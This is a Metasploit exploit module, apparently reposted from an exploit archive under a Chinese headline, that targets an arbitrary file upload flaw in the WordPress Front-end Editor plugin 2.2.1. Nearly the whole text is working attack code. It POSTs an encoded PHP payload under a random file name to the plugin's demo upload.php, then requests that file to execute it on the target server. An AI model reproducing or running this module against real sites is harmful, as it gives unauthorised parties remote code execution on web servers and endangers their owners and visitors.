Wordpress爆出Front-end Editor上传漏洞

##

# This module requires Metasploit: [url]http://metasploit.com/download[/url]

# Current source: [url]https://github.com/rapid7/metasploit-framework[/url]

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress

  include Msf::Exploit::FileDropper

  def initialize(info = {})

    super(update_info(

      info,

      'Name'           => 'Wordpress Front-end Editor File Upload',

      'Description'    => %q{

          The Wordpress Front-end Editor plugin contains an authenticated file upload

          vulnerability. We can upload arbitrary files to the upload folder, because

          the plugin also uses it's own file upload mechanism instead of the wordpress

          api it's possible to upload any file type.

      },

      'Author'         =>

        [

          'Sammy', # Vulnerability discovery

          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'     # Metasploit module

        ],

      'License'        => MSF_LICENSE,

      'References'     =>

        [

          ['OSVDB', '83637'],

          ['WPVDB', '7569'],

          ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html']

        ],

      'Privileged'     => false,

      'Platform'       => ['php'],

      'Arch'           => ARCH_PHP,

      'Targets'        => [['Front-End Editor 2.2.1', {}]],

      'DefaultTarget'  => 0,

      'DisclosureDate' => 'Jul 04 2012'))

  end

  def check

    check_plugin_version_from_readme('front-end-editor', '2.3')

  end

  def exploit

    print_status("#{peer} - Trying to upload payload")

    filename = "#{rand_text_alpha_lower(5)}.php"

    print_status("#{peer} - Uploading payload")

    res = send_request_cgi(

      'method'   => 'POST',

      'uri'      => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'),

      'ctype'    => 'application/octet-stream',

      'headers'  => {

        'X-File-Name' => "#{filename}"

      },

      'data' => payload.encoded

    )

    if res

      if res.code == 200

        register_files_for_cleanup(filename)

      else

        fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")

      end

    else

      fail_with(Failure::Unknown, 'Server did not respond in an expected way')

    end

    print_status("#{peer} - Calling uploaded file #{filename}")

    send_request_cgi(

      { 'uri'    => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") },

      5

    )

  end

end

[2015-06-18]  #